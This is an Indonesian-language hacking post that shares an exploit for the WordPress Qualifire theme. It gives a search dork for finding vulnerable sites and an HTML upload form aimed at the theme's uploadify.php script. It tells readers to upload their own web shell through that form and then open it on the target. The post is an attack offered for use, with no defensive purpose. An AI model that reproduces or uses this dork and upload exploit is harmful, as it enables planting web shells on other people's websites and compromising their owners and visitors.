Exploit WordPress Qualifire Themes

Malam Gengs, *nyari bug mulu, kapan nyari pacarnya  :D :D :D
iseng2 share exploit lama, kali aja masih crotz awkakw.

yg dh master minggir dlu beb  


Play with Me , Baby  

Dork :
inurl:"/wp-content/themes/qualifire"

Vuln? biasanya Blank putih atau muncul angka/huruf gak jelas , tapi kalo 404 not found berarti ikhlasin aja hehehe



Copy Script Upload CSRF:
<form
action="http://target.co.li/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="Submit">
</form>


lalu tinggal upload file/shell ente.
kalo berhasil muncul angka 1



Shell/file Akses: http://www.target.co.li/filemumas

semoga bermanfaat Gengs, maap kalo post cupu   
waktunya Nue dan tim Katakan Putus cabut dulu gengs, karna bsk dah UAS awkakw   

Bye


SUMUR